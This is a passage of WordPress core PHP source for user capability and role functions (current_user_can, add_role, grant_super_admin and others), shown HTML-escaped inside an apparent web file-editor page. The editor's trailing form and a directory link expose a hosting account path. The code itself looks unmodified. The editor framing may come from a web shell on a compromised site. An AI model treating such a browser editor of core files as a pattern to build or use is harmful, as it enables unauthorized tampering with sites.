 * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`.
 *
 * Example usage:
 *
 *     current_user_can( &#039;edit_posts&#039; );
 *     current_user_can( &#039;edit_post&#039;, $post-&gt;ID );
 *     current_user_can( &#039;edit_post_meta&#039;, $post-&gt;ID, $meta_key );
 *
 * While checking against particular roles in place of a capability is supported
 * in part, this practice is discouraged as it may produce unreliable results.
 *
 * Note: Will always return true if the current user is a super admin, unless specifically denied.
 *
 * @since 2.0.0
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 * @since 5.8.0 Converted to wrapper for the user_can() function.
 *
 * @see WP_User::has_cap()
 * @see map_meta_cap()
 *
 * @param string $capability Capability name.
 * @param mixed  ...$args    Optional further parameters, typically starting with an object ID.
 * @return bool Whether the current user has the given capability. If `$capability` is a meta cap and `$object_id` is
 *              passed, whether the current user has the given meta capability for the given object.
 */
function current_user_can( $capability, ...$args ) {
	return user_can( wp_get_current_user(), $capability, ...$args );
}

/**
 * Returns whether the current user has the specified capability for a given site.
 *
 * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta
 * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to
 * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`.
 *
 * This function replaces the current_user_can_for_blog() function.
 *
 * Example usage:
 *
 *     current_user_can_for_site( $site_id, &#039;edit_posts&#039; );
 *     current_user_can_for_site( $site_id, &#039;edit_post&#039;, $post-&gt;ID );
 *     current_user_can_for_site( $site_id, &#039;edit_post_meta&#039;, $post-&gt;ID, $meta_key );
 *
 * @since 6.7.0
 *
 * @param int    $site_id    Site ID.
 * @param string $capability Capability name.
 * @param mixed  ...$args    Optional further parameters, typically starting with an object ID.
 * @return bool Whether the user has the given capability.
 */
function current_user_can_for_site( $site_id, $capability, ...$args ) {
	$switched = is_multisite() ? switch_to_blog( $site_id ) : false;

	$can = current_user_can( $capability, ...$args );

	if ( $switched ) {
		restore_current_blog();
	}

	return $can;
}

/**
 * Returns whether the author of the supplied post has the specified capability.
 *
 * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta
 * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to
 * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`.
 *
 * Example usage:
 *
 *     author_can( $post, &#039;edit_posts&#039; );
 *     author_can( $post, &#039;edit_post&#039;, $post-&gt;ID );
 *     author_can( $post, &#039;edit_post_meta&#039;, $post-&gt;ID, $meta_key );
 *
 * @since 2.9.0
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 *
 * @param int|WP_Post $post       Post ID or post object.
 * @param string      $capability Capability name.
 * @param mixed       ...$args    Optional further parameters, typically starting with an object ID.
 * @return bool Whether the post author has the given capability.
 */
function author_can( $post, $capability, ...$args ) {
	$post = get_post( $post );
	if ( ! $post ) {
		return false;
	}

	$author = get_userdata( $post-&gt;post_author );

	if ( ! $author ) {
		return false;
	}

	return $author-&gt;has_cap( $capability, ...$args );
}

/**
 * Returns whether a particular user has the specified capability.
 *
 * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta
 * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to
 * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`.
 *
 * Example usage:
 *
 *     user_can( $user-&gt;ID, &#039;edit_posts&#039; );
 *     user_can( $user-&gt;ID, &#039;edit_post&#039;, $post-&gt;ID );
 *     user_can( $user-&gt;ID, &#039;edit_post_meta&#039;, $post-&gt;ID, $meta_key );
 *
 * @since 3.1.0
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 *
 * @param int|WP_User $user       User ID or object.
 * @param string      $capability Capability name.
 * @param mixed       ...$args    Optional further parameters, typically starting with an object ID.
 * @return bool Whether the user has the given capability.
 */
function user_can( $user, $capability, ...$args ) {
	if ( ! is_object( $user ) ) {
		$user = get_userdata( $user );
	}

	if ( empty( $user ) ) {
		// User is logged out, create anonymous user object.
		$user = new WP_User( 0 );
		$user-&gt;init( new stdClass() );
	}

	return $user-&gt;has_cap( $capability, ...$args );
}

/**
 * Returns whether a particular user has the specified capability for a given site.
 *
 * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta
 * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to
 * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`.
 *
 * Example usage:
 *
 *     user_can_for_site( $user-&gt;ID, $site_id, &#039;edit_posts&#039; );
 *     user_can_for_site( $user-&gt;ID, $site_id, &#039;edit_post&#039;, $post-&gt;ID );
 *     user_can_for_site( $user-&gt;ID, $site_id, &#039;edit_post_meta&#039;, $post-&gt;ID, $meta_key );
 *
 * @since 6.7.0
 *
 * @param int|WP_User $user       User ID or object.
 * @param int         $site_id    Site ID.
 * @param string      $capability Capability name.
 * @param mixed       ...$args    Optional further parameters, typically starting with an object ID.
 * @return bool Whether the user has the given capability.
 */
function user_can_for_site( $user, $site_id, $capability, ...$args ) {
	if ( ! is_object( $user ) ) {
		$user = get_userdata( $user );
	}

	if ( empty( $user ) ) {
		// User is logged out, create anonymous user object.
		$user = new WP_User( 0 );
		$user-&gt;init( new stdClass() );
	}

	// Check if the blog ID is valid.
	if ( ! is_numeric( $site_id ) || $site_id &lt;= 0 ) {
		return false;
	}

	$switched = is_multisite() ? switch_to_blog( $site_id ) : false;

	$can = user_can( $user-&gt;ID, $capability, ...$args );

	if ( $switched ) {
		restore_current_blog();
	}

	return $can;
}

/**
 * Retrieves the global WP_Roles instance and instantiates it if necessary.
 *
 * @since 4.3.0
 *
 * @global WP_Roles $wp_roles WordPress role management object.
 *
 * @return WP_Roles WP_Roles global instance if not already instantiated.
 */
function wp_roles() {
	global $wp_roles;

	if ( ! isset( $wp_roles ) ) {
		$wp_roles = new WP_Roles();
	}
	return $wp_roles;
}

/**
 * Retrieves role object.
 *
 * @since 2.0.0
 *
 * @param string $role Role name.
 * @return WP_Role|null WP_Role object if found, null if the role does not exist.
 */
function get_role( $role ) {
	return wp_roles()-&gt;get_role( $role );
}

/**
 * Adds a role, if it does not exist.
 *
 * The list of capabilities can be passed either as a numerically indexed array of capability names, or an
 * associative array of boolean values keyed by the capability name. To explicitly deny the role a capability, set
 * the value for that capability to false.
 *
 * Examples:
 *
 *     // Add a role that can edit posts.
 *     add_role( &#039;custom_role&#039;, &#039;Custom Role&#039;, array(
 *         &#039;read&#039;,
 *         &#039;edit_posts&#039;,
 *     ) );
 *
 * Or, using an associative array:
 *
 *     // Add a role that can edit posts but explicitly cannot not delete them.
 *     add_role( &#039;custom_role&#039;, &#039;Custom Role&#039;, array(
 *         &#039;read&#039; =&gt; true,
 *         &#039;edit_posts&#039; =&gt; true,
 *         &#039;delete_posts&#039; =&gt; false,
 *     ) );
 *
 * @since 2.0.0
 * @since 6.9.0 Support was added for a numerically indexed array of strings for the capabilities array.
 *
 * @param string                               $role         Role name.
 * @param string                               $display_name Display name for role.
 * @param array&lt;string,bool&gt;|array&lt;int,string&gt; $capabilities Capabilities to be added to the role.
 *                                                           Default empty array.
 * @return WP_Role|null WP_Role object, if the role is added.
 */
function add_role( $role, $display_name, $capabilities = array() ) {
	if ( empty( $role ) ) {
		return null;
	}

	return wp_roles()-&gt;add_role( $role, $display_name, $capabilities );
}

/**
 * Removes a role, if it exists.
 *
 * @since 2.0.0
 *
 * @param string $role Role name.
 */
function remove_role( $role ) {
	wp_roles()-&gt;remove_role( $role );
}

/**
 * Retrieves a list of super admins.
 *
 * @since 3.0.0
 *
 * @global array $super_admins
 *
 * @return string[] List of super admin logins.
 */
function get_super_admins() {
	global $super_admins;

	return $super_admins ?? get_site_option( &#039;site_admins&#039;, array( &#039;admin&#039; ) );
}

/**
 * Determines whether user is a site admin.
 *
 * @since 3.0.0
 *
 * @param int|false $user_id Optional. The ID of a user. Defaults to false, to check the current user.
 * @return bool Whether the user is a site admin.
 */
function is_super_admin( $user_id = false ) {
	if ( ! $user_id ) {
		$user = wp_get_current_user();
	} else {
		$user = get_userdata( $user_id );
	}

	if ( ! $user || ! $user-&gt;exists() ) {
		return false;
	}

	if ( is_multisite() ) {
		$super_admins = get_super_admins();
		if ( is_array( $super_admins ) &amp;&amp; in_array( $user-&gt;user_login, $super_admins, true ) ) {
			return true;
		}
	} elseif ( $user-&gt;has_cap( &#039;delete_users&#039; ) ) {
		return true;
	}

	return false;
}

/**
 * Grants Super Admin privileges.
 *
 * @since 3.0.0
 *
 * @global array $super_admins
 *
 * @param int $user_id ID of the user to be granted Super Admin privileges.
 * @return bool True on success, false on failure. This can fail when the user is
 *              already a super admin or when the `$super_admins` global is defined.
 */
function grant_super_admin( $user_id ) {
	// If global super_admins override is defined, there is nothing to do here.
	if ( isset( $GLOBALS[&#039;super_admins&#039;] ) || ! is_multisite() ) {
		return false;
	}

	/**
	 * Fires before the user is granted Super Admin privileges.
	 *
	 * @since 3.0.0
	 *
	 * @param int $user_id ID of the user that is about to be granted Super Admin privileges.
	 */
	do_action( &#039;grant_super_admin&#039;, $user_id );

	// Directly fetch site_admins instead of using get_super_admins().
	$super_admins = get_site_option( &#039;site_admins&#039;, array( &#039;admin&#039; ) );

	$user = get_userdata( $user_id );
	if ( $user &amp;&amp; ! in_array( $user-&gt;user_login, $super_admins, true ) ) {
		$super_admins[] = $user-&gt;user_login;
		update_site_option( &#039;site_admins&#039;, $super_admins );

		/**
		 * Fires after the user is granted Super Admin privileges.
		 *
		 * @since 3.0.0
		 *
		 * @param int $user_id ID of the user that was granted Super Admin privileges.
		 */
		do_action( &#039;granted_super_admin&#039;, $user_id );
		return true;
	}
	return false;
}

/**
 * Revokes Super Admin privileges.
 *
 * @since 3.0.0
 * @since 6.9.0 Super admin privileges can be revoked regardless of email address.
 *
 * @global array $super_admins
 *
 * @param int $user_id ID of the user Super Admin privileges to be revoked from.
 * @return bool True on success, false on failure. This can fail when the user&#039;s email
 *              is the network admin email or when the `$super_admins` global is defined.
 */
function revoke_super_admin( $user_id ) {
	// If global super_admins override is defined, there is nothing to do here.
	if ( isset( $GLOBALS[&#039;super_admins&#039;] ) || ! is_multisite() ) {
		return false;
	}

	/**
	 * Fires before the user&#039;s Super Admin privileges are revoked.
	 *
	 * @since 3.0.0
	 *
	 * @param int $user_id ID of the user Super Admin privileges are being revoked from.
	 */
	do_action( &#039;revoke_super_admin&#039;, $user_id );

	// Directly fetch site_admins instead of using get_super_admins().
	$super_admins = get_site_option( &#039;site_admins&#039;, array( &#039;admin&#039; ) );

	$user = get_userdata( $user_id );
	if ( $user ) {
		$key = array_search( $user-&gt;user_login, $super_admins, true );
		if ( false !== $key ) {
			unset( $super_admins[ $key ] );
			update_site_option( &#039;site_admins&#039;, $super_admins );

			/**
			 * Fires after the user&#039;s Super Admin privileges are revoked.
			 *
			 * @since 3.0.0
			 *
			 * @param int $user_id ID of the user Super Admin privileges were revoked from.
			 */
			do_action( &#039;revoked_super_admin&#039;, $user_id );
			return true;
		}
	}
	return false;
}

/**
 * Filters the user capabilities to grant the &#039;install_languages&#039; capability as necessary.
 *
 * A user must have at least one out of the &#039;update_core&#039;, &#039;install_plugins&#039;, and
 * &#039;install_themes&#039; capabilities to qualify for &#039;install_languages&#039;.
 *
 * @since 4.9.0
 *
 * @param bool[] $allcaps An array of all the user&#039;s capabilities.
 * @return bool[] Filtered array of the user&#039;s capabilities.
 */
function wp_maybe_grant_install_languages_cap( $allcaps ) {
	if ( ! empty( $allcaps[&#039;update_core&#039;] ) || ! empty( $allcaps[&#039;install_plugins&#039;] ) || ! empty( $allcaps[&#039;install_themes&#039;] ) ) {
		$allcaps[&#039;install_languages&#039;] = true;
	}

	return $allcaps;
}

/**
 * Filters the user capabilities to grant the &#039;resume_plugins&#039; and &#039;resume_themes&#039; capabilities as necessary.
 *
 * @since 5.2.0
 *
 * @param bool[] $allcaps An array of all the user&#039;s capabilities.
 * @return bool[] Filtered array of the user&#039;s capabilities.
 */
function wp_maybe_grant_resume_extensions_caps( $allcaps ) {
	// Even in a multisite, regular administrators should be able to resume plugins.
	if ( ! empty( $allcaps[&#039;activate_plugins&#039;] ) ) {
		$allcaps[&#039;resume_plugins&#039;] = true;
	}

	// Even in a multisite, regular administrators should be able to resume themes.
	if ( ! empty( $allcaps[&#039;switch_themes&#039;] ) ) {
		$allcaps[&#039;resume_themes&#039;] = true;
	}

	return $allcaps;
}

/**
 * Filters the user capabilities to grant the &#039;view_site_health_checks&#039; capabilities as necessary.
 *
 * @since 5.2.2
 *
 * @param bool[]   $allcaps An array of all the user&#039;s capabilities.
 * @param string[] $caps    Required primitive capabilities for the requested capability.
 * @param array    $args {
 *     Arguments that accompany the requested capability check.
 *
 *     @type string    $0 Requested capability.
 *     @type int       $1 Concerned user ID.
 *     @type mixed  ...$2 Optional second and further parameters, typically object ID.
 * }
 * @param WP_User  $user    The user object.
 * @return bool[] Filtered array of the user&#039;s capabilities.
 */
function wp_maybe_grant_site_health_caps( $allcaps, $caps, $args, $user ) {
	if ( ! empty( $allcaps[&#039;install_plugins&#039;] ) &amp;&amp; ( ! is_multisite() || is_super_admin( $user-&gt;ID ) ) ) {
		$allcaps[&#039;view_site_health_checks&#039;] = true;
	}

	return $allcaps;
}

return;

// Dummy gettext calls to get strings in the catalog.
/* translators: User role for administrators. */
_x( &#039;Administrator&#039;, &#039;User role&#039; );
/* translators: User role for editors. */
_x( &#039;Editor&#039;, &#039;User role&#039; );
/* translators: User role for authors. */
_x( &#039;Author&#039;, &#039;User role&#039; );
/* translators: User role for contributors. */
_x( &#039;Contributor&#039;, &#039;User role&#039; );
/* translators: User role for subscribers. */
_x( &#039;Subscriber&#039;, &#039;User role&#039; );
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fpublic_html%2Fwp-includes'>⬅ Back to Directory</a>